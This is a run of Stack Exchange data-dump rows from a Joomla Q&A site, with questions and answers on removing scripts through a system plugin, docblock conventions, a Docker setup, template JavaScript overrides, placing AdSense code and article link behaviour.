  <row Id="18397" PostTypeId="2" ParentId="15992" CreationDate="2016-11-18T02:35:58.290" Score="2" Body="&lt;p&gt;Yes, and no...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with the &quot;no&quot; - The Joomla core devs have created a way to inject scripts, but no (API) way to remove them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, &quot;Yes&quot; , but it's complicated....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to create a Joomla system plugin to affect the removal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do it any sooner than onBeforeCompileHead - you might end up with another script injecting it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example just removes a script - because I'm injecting a new one elsewhere.  You could modify this to remove and replace at the same time - but that's up to you to decide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I did it for a BS3 template I wrote.  I really needed to ditch the BS 2.3 javascript and replace it with BS3 javascript.  The plugin was written to accommodate removing multiple javascripts, although this example only shows one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemRWBS3 extends JPlugin {&#xA;&#xA;function onBeforeCompileHead() {&#xA;    $doc = JFactory::getDocument();&#xA;    $cfg = JFactory::getConfig();&#xA;    $min = $cfg-&amp;gt;get('debug', 0, 'INTEGER') ? '' : '.min';&#xA;    $remove = array(&#xA;        '/media/jui/js/bootstrap'.$min.'.js'&#xA;    );&#xA;    $this-&amp;gt;_removeScript($doc, $remove);&#xA;}&#xA;&#xA;private function _removeScript($o, $remove) {&#xA;    $removed = false;&#xA;    foreach($remove as $r) {&#xA;        $found = preg_grep('/'.preg_quote($r,'/').'$/', array_keys($o-&amp;gt;_scripts));&#xA;            if(count($found) &amp;gt; 0) {&#xA;                unset($o-&amp;gt;_scripts[array_shift($found)]);&#xA;            }&#xA;    }&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2066" LastEditorUserId="2066" LastEditDate="2016-11-18T16:16:55.787" LastActivityDate="2016-11-18T16:16:55.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18398" PostTypeId="1" AcceptedAnswerId="18407" CreationDate="2016-11-18T04:21:43.360" Score="3" ViewCount="107" Body="&lt;p&gt;The &lt;a href=&quot;http://joomla.github.io/coding-standards/?coding-standards/chapters/docblocks.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;DocBlocks&lt;/a&gt; section of the Coding Standards Manual is mostly self-explanatory, but I've never been sure about two elements - &lt;code&gt;since&lt;/code&gt; and &lt;code&gt;copyright&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;since&lt;/code&gt; - is that for the Joomla version or my component's (arbitrary) version number? Probably the former, but I'd like to be certain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;copyright&lt;/code&gt; is a little more tricky. It's obvious if it's a method or class I've built from scratch, but what if half the code's come from a Joomla component? What if all I did was add a line? I've no idea what to put in the copyright element in situations where authorship is mixed.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="7064" LastEditDate="2016-11-19T19:40:32.803" LastActivityDate="2016-11-19T19:40:32.803" Title="Proper use of @since and @copyright in docblock headers?" Tags="|joomla-3.x|docblock|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18400" PostTypeId="1" AcceptedAnswerId="18429" CreationDate="2016-11-18T10:21:15.867" Score="3" ViewCount="1482" Body="&lt;p&gt;I'm trying to use &lt;a href=&quot;https://www.docker.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docker&lt;/a&gt; to replace my current web development workflow. I have installed &lt;a href=&quot;https://www.docker.com/products/docker#/mac&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docker&lt;/a&gt; and &lt;a href=&quot;https://download.docker.com/kitematic/Kitematic-Mac.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kitematic&lt;/a&gt; and trying to use &lt;a href=&quot;https://hub.docker.com/_/joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Official Joomla Image&lt;/a&gt; to create a new Joomla container. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to create the container but it can't be started. There's error in the container logs said&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: missing JOOMLA_DB_HOST and MYSQL_PORT_3306_TCP environment variables&#xA;  Did you forget to --link some_mysql_container:mysql or set an external db&#xA;  with -e JOOMLA_DB_HOST=hostname:port?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I link/setup the database as mentioned in the logs error?&#xA;I have opened the joomla documentation page, but the instructions are not really clear.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-11-18T11:14:54.677" LastActivityDate="2016-11-21T06:36:37.267" Title="Joomla Docker Installation using Kitematic" Tags="|development-tool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18402" PostTypeId="2" ParentId="18391" CreationDate="2016-11-18T11:11:24.157" Score="3" Body="&lt;p&gt;Your problem is jQuery's Chosen plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JS scripts are almost always added using the &lt;code&gt;JHTML&lt;/code&gt; class and its child classes. I've only had a quick look, but I think the problem script is injected at ln: 32 of &lt;code&gt;/layouts/joomla/searchtools/default.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('searchtools.form', $formSelector, $data['options']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm fairly certain this will result in &lt;code&gt;/media/jui/js/jquery.searchtools.js&lt;/code&gt; being loaded in the browser, which is what's adding all the Chosen classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; - I've had a longer look at the JS code. You should be able to disable Chosen by setting an option before the line I mentioned above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['options']['chosenSupport'] = false;&#xA;JHtml::_('searchtools.form', $formSelector, $data['options']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should hopefully get you the output you want, but will mean chosenSupport is always disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The options parameters are normally set when JLayoutHelper::render() is called, so that would be the more technically correct way of doing things. You'd need to look through your code to find out which execution of JLayoutHelper::render() is responsible for rendering the output you want to change, and amend it to something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this, 'options' =&amp;gt; ['chosenSupport' =&amp;gt; false]));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As another guess, the difference in output you've noticed may be due to either different options being sent when JLayoutHelper::render is called, or different layouts being rendered.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="7064" LastEditDate="2016-11-18T17:55:28.643" LastActivityDate="2016-11-18T17:55:28.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18403" PostTypeId="2" ParentId="18077" CreationDate="2016-11-18T13:28:44.097" Score="0" Body="&lt;p&gt;Try copy default.xml file as well (and rename), I think that it needs to be in override folder in order to override function properly.&lt;/p&gt;&#xA;" OwnerUserId="9310" LastActivityDate="2016-11-18T13:28:44.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18404" PostTypeId="1" AcceptedAnswerId="18405" CreationDate="2016-11-18T13:30:30.577" Score="0" ViewCount="42" Body="&lt;p&gt;&lt;strong&gt;SOLVED: I have been changing the source file in the WRONG folder. I have been changing the component in the &quot;component/&quot; folder instead of &quot;administrator/&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've changed the component's source file which changes a single label in the backend (administrative) side.&#xA;However after the change and upload I don't see the change being applied. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've cleared Joomla cache as well as the browsers cache, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to force Joomla 3.6 to reload the changed PHP file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm changing a source file that's in the &quot;/components/com_component/helpers/layouts&quot; folder. Here is an extract of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;key&quot; &amp;gt;&#xA;        &amp;lt;?php echo JText::_('OS_CLIMATE')?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; class=&quot;input-mini&quot; name=&quot;climate&quot; id=&quot;climate&quot; size=&quot;5&quot; value=&quot;&amp;lt;?php echo $row-&amp;gt;climate;?&amp;gt;&quot;&amp;gt; kg/m&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is part of a backend layout where you can change properties of an item. It can be accessed at this URL: &quot;administrator/index.php?option=com_component&amp;amp;task=properties_edit&amp;amp;cid[]=2&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been changing various HTML text (like &quot;kg/m&quot; to &quot;Hello!&quot;), uploading the source file back to the aforementioned folder and going to the URL. But nothing changes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even deleted the whole file, and it's like it's still there. Do you think some source filed of Joomla components get copied somewhere on install/update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can change the frontend stuff freely, but the backend stuff doesn't update when I change it.&lt;/p&gt;&#xA;" OwnerUserId="9311" LastEditorUserId="9311" LastEditDate="2016-11-18T14:06:24.673" LastActivityDate="2016-11-18T14:48:21.630" Title="How to locally update a component after changing it's source?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18405" PostTypeId="2" ParentId="18404" CreationDate="2016-11-18T14:48:21.630" Score="2" Body="&lt;p&gt;I have been changing the source file in the WRONG folder. I have been changing the component in the &quot;component/&quot; folder instead of &quot;administrator/&quot;&lt;/p&gt;&#xA;" OwnerUserId="9311" LastActivityDate="2016-11-18T14:48:21.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18406" PostTypeId="1" AcceptedAnswerId="18440" CreationDate="2016-11-18T15:09:38.277" Score="4" ViewCount="1414" Body="&lt;p&gt;I have created a custom plugin. I want a buyer should only be able to 'add to cart' using these created fields, only on productdetails view. Until then, no add to cart button should be displayed. I also achieved this using javascript via a system plugin, though I am looking for a more better solution, as removing it via some function like - plgVmOnDisplayProductFEVM3 or something else. As a different templace could have different class for 'addtocart-bar'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to know is there anyhow we can remove 'quantity-box' and 'quantity-control' only, from 'addtocart-bar'&lt;/p&gt;&#xA;" OwnerUserId="5688" LastEditorUserId="3650" LastEditDate="2016-11-21T13:59:39.710" LastActivityDate="2016-11-22T10:33:39.030" Title="Remove 'add to cart' button on all Virtuemart views except in productdetails" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18407" PostTypeId="2" ParentId="18398" CreationDate="2016-11-18T17:30:18.673" Score="4" Body="&lt;p&gt;&lt;code&gt;@since&lt;/code&gt; should be used to state the version that your component implemented this specific function/class/property/etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * This function does something&#xA; *&#xA; * @since 1.2&#xA; *&#xA; */&#xA;&#xA;public function foo()&#xA;{&#xA;    // do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This above means you added the &lt;code&gt;foo()&lt;/code&gt; function in &lt;code&gt;v1.2&lt;/code&gt; of your extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how you build and release your extension, you can also use a constant, like Joomla do, for example: &lt;code&gt;@since _DEPLOY__VERSION_&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla build released through command line. The version is set when building, which then un turn, replaces all instances of &lt;code&gt;_DEPLOY__VERSION_&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for &lt;code&gt;@copyright&lt;/code&gt;, for me personally, there are 2 scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If I've copied an entire file and made some tweaks:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @package     Joomla.Site&#xA; * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; * &#xA; * Modified by NAME&#xA; */&#xA;class Foo {&#xA;    public function bar() {};&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If I've written my own class and copied a couple of functions from Joomla&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @package     MY COMPONENT&#xA; * @copyright   Copyright (C) 2016 - MY COMPANY&#xA; * @license     MY LICENSE&#xA; */&#xA;class Foo {&#xA;&#xA;    /**&#xA;     * @copyright Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA;     */&#xA;    public function bar() {};&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-11-18T17:30:18.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18408" PostTypeId="2" ParentId="17912" CreationDate="2016-11-18T20:12:09.430" Score="4" Body="&lt;p&gt;you can set this variable as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;params-&amp;gt;set('page_heading', &quot;garr, I be a page heading&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you insert this code &lt;strong&gt;before&lt;/strong&gt; the &lt;code&gt;page_header&lt;/code&gt; is loaded, as setting it after it has loaded will mean it loads first, with the existing value, and then you set it after, but you have not told it to update.  If you need to set it after, then you would need to call the &lt;code&gt;page_heading&lt;/code&gt; again.  I suspect loading it before the original call is better in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand where the &lt;code&gt;page_header&lt;/code&gt; is loaded, look at the other answer to this question, which shows you how to load the &lt;code&gt;page_header&lt;/code&gt;.  For example on my blog page it is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading'));&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2016-11-18T20:18:41.533" LastActivityDate="2016-11-18T20:18:41.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18409" PostTypeId="2" ParentId="18396" CreationDate="2016-11-18T20:44:25.340" Score="6" Body="&lt;p&gt;I bow down to @Lodder experience and assume you cannot overcome this issue by overriding the XML.  However, you still have two options:&lt;/p&gt;&#xA;&lt;h1&gt;Either edit the original XML file&lt;/h1&gt;&#xA;&lt;p&gt;Although, there may be reasons not to do this, for example if you wish to retain the original functionality.  Also &lt;strong&gt;if there is ever an update, there's a chance your XML file will be overridden&lt;/strong&gt;, which I assume is why you want to use an override in the first place.&lt;/p&gt;&#xA;&lt;h1&gt;Or make a new version of the module&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;You should check the license prior to doing so.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy and paste all of the files from mod_pr_slider and then rename the folder, and files within.&lt;/li&gt;&#xA;&lt;li&gt;You would also need to go into the files and replace all instances of mod_pr_slider.  The easy way to do that is using find/replace.&lt;/li&gt;&#xA;&lt;li&gt;It may seem like a pain to replace all of the names within files, but using a find and replace in a tool such as Sublime Text 3 makes it reasonably easy.  I usually use the &amp;quot;match case&amp;quot; option too.  In which case you should do a find and replace for&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;code&gt;MOD_PR_SLIDER&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;mod_pr_slider&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I recommend replacing all caps with all caps, so &lt;code&gt;MOD_PR_SLIDER&lt;/code&gt; becomes &lt;code&gt;MY_MOD_PR_SLIDER&lt;/code&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;I would also check for versions without &amp;quot;match case&amp;quot; turned on as some devs capitalise things every now-and-then, in particular for Classes that would be more likely to be true.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you do this you may find that you replace all of the language strings.  You probably don't need to do this as the names will almost certainly be correct.  The easy way to avoid this is to copy and paste the original language file and overwrite your new one when finished.  If you do need to overwrite them you need to create new language strings.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you're going to replace the language strings here a resource for language overrides.  &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-3/languages/overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.inmotionhosting.com/support/edu/joomla-3/languages/overrides&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Be careful with the update file, the last thing you want is to leave that untouched and it decides to update your new module using the old link.  Renaming things should stop it.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2023-03-29T16:20:20.777" LastActivityDate="2023-03-29T16:20:20.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18410" PostTypeId="1" AcceptedAnswerId="18413" CreationDate="2016-11-18T21:34:36.297" Score="2" ViewCount="1520" Body="&lt;p&gt;I'm registering to Google AdSense. In order to check the site they want that I put a piece of code inside (&lt;code&gt;&amp;lt;script&amp;gt;something&amp;lt;/script&amp;gt;&lt;/code&gt;) just after &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="9211" LastEditorUserId="8486" LastEditDate="2018-11-08T09:03:24.720" LastActivityDate="2018-11-08T09:03:24.720" Title="Add script just after &lt;head&gt;" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18411" PostTypeId="1" CreationDate="2016-11-18T22:44:55.307" Score="1" ViewCount="168" Body="&lt;p&gt;Im working in Joomla! 3.4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...so, how do I override the templates/my_template/&lt;strong&gt;scripts.js&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE.&lt;/strong&gt; I'm talking about a frontend template, site template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bought a template in Themeforest. The template has a file in templates/my_template/js/scripts.js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is obvious. If in the future I update the template, all my changes will be lost. :(&lt;/p&gt;&#xA;" OwnerUserId="8699" LastEditorUserId="8699" LastEditDate="2016-11-21T17:29:14.133" LastActivityDate="2017-01-09T16:21:48.993" Title="Override the scripts.js of a Joomla template" Tags="|joomla-3.x|overrides|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18412" PostTypeId="2" ParentId="18411" CreationDate="2016-11-19T00:08:51.280" Score="2" Body="&lt;p&gt;&lt;strong&gt;Edited&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you're going to achieve this is going to depend on the script object's scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search in the scripts file for the function executed when the window is loaded. It should begin with either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.onload = function...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.addEventListener(&quot;load&quot;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The contents of this function will depend entirely on how the template devs coded the script, so I can only give you rough guidelines from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to find out the name of the script's main container object. It's probably called something like 'themeForest'. You're looking out for something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var themeForest = new ThemeForest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or (as is likely, it's been built using a JS package manager) maybe something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var themeForest = __webpack_require__(391);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exact implementation will differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you want that object to be available in &lt;em&gt;global scope&lt;/em&gt;. So, using the above examples, they'd look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var themeForest = window.themeForest = new ThemeForest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var themeForest = window.themeForest = __webpack_require__(391);   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The important bit is making sure that the script is made into a property of the &lt;em&gt;window&lt;/em&gt; object. If &lt;code&gt;window.themeForest&lt;/code&gt; is there already then great, it's already available in global scope. If not add it like I've done above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you should be able to override any individual methods, functions and variables by reassigning them in your override script. Let's say there's a method called &lt;code&gt;init()&lt;/code&gt; that you want to override. In your script add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.themeForest.init = function() {&#xA;    // Function contents&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure your script is loaded in your template &lt;em&gt;after&lt;/em&gt; the template's scripts.js file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other themeForest properties will stay as they were, but the init property will now be your function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to add this at the top of your script to make redeclaring things a little quicker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.themeForest = themeForest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the override example I gave above would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;themeForest.init = function() {&#xA;    // Function contents&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps - I can't really give a more specific answer without knowing exactly how the template's script works I'm afraid.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="7064" LastEditDate="2016-11-21T19:09:01.793" LastActivityDate="2016-11-21T19:09:01.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18413" PostTypeId="2" ParentId="18410" CreationDate="2016-11-19T01:20:08.133" Score="7" Body="&lt;p&gt;First, according to the &lt;a href=&quot;https://support.google.com/adsense/answer/181950?hl=en-GB&quot; rel=&quot;noreferrer&quot;&gt;docs&lt;/a&gt; AdSense code doesn't go after the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, it goes between the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tags. JavaScript should almost always be placed at the end of the body, just before &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;, so slow-loading scripts don't hold up the rest of your page (in this case, however, the script is loaded asynchronously so that shouldn't be much of an issue. Still, Google's docs have it at the bottom of the body and it's considered best practice to put any external scripts there, so that's what I'd do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to add the script to the index.php of the site template(s) you'll be using. If I was using the default Protostar template, for example, I'd edit &lt;code&gt;.../templates/protostar/index.php&lt;/code&gt; like so (I've used the same script code from the docs I linked to above, replace that with your own AdSense code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;/footer&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;debug&quot; style=&quot;none&quot; /&amp;gt;&#xA;&#xA;    // AdSense code begins:&#xA;    &amp;lt;script async src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;!-- Homepage Leaderboard --&amp;gt;&#xA;    &amp;lt;ins class=&quot;adsbygoogle&quot;&#xA;    style=&quot;display:inline-block;width:728px;height:90px&quot;&#xA;    data-ad-client=&quot;ca-pub-1234567890123456&quot;&#xA;    data-ad-slot=&quot;1234567890&quot;&amp;gt;&amp;lt;/ins&amp;gt;&#xA;    &amp;lt;script&amp;gt;&#xA;    (adsbygoogle = window.adsbygoogle || []).push({});&#xA;    &amp;lt;/script&amp;gt;&#xA;    // AdSense code ends.&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do the equivalent for your Cloudbase3 template and it should hopefully work for you.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="7064" LastEditDate="2016-11-19T01:26:41.770" LastActivityDate="2016-11-19T01:26:41.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18414" PostTypeId="1" AcceptedAnswerId="18415" CreationDate="2016-11-19T12:26:26.550" Score="0" ViewCount="81" Body="&lt;p&gt;I've created some article, and I've create a some custom modules with the list of articles (by using the &lt;strong&gt;+article&lt;/strong&gt; button for adding a specific article to the custom module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a page I've added an Article category module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've then created a page showing both modules, and linked it to a menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what's happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I open the article by clicking on &lt;strong&gt;Articles&lt;/strong&gt; menu item, I show the page. Then I click on the article set in the module &lt;strong&gt;Articles Category&lt;/strong&gt;. As you can see I've a specific link and if I open it, the page opens in that link, with Article menu item selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CpQDk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CpQDk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RMWrM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RMWrM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I return to previous page, I click on the link in the Custom module that I've created. As you can see, the link to the same article is different, and if I open it the link is also different (of course) but the &lt;strong&gt;Home&lt;/strong&gt; menu item is selected. Also, category and other informations are hidden, that's what I set for the Home:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R5Mos.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R5Mos.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZzRBS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZzRBS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening? How can I set the same article link in both modules? and how can I fix the menu changing? What should I check?&lt;/p&gt;&#xA;" OwnerUserId="9211" LastActivityDate="2016-11-19T13:06:29.117" Title="Link to article changes depending on module" Tags="|joomla-3.x|articles|menu|category|weblinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
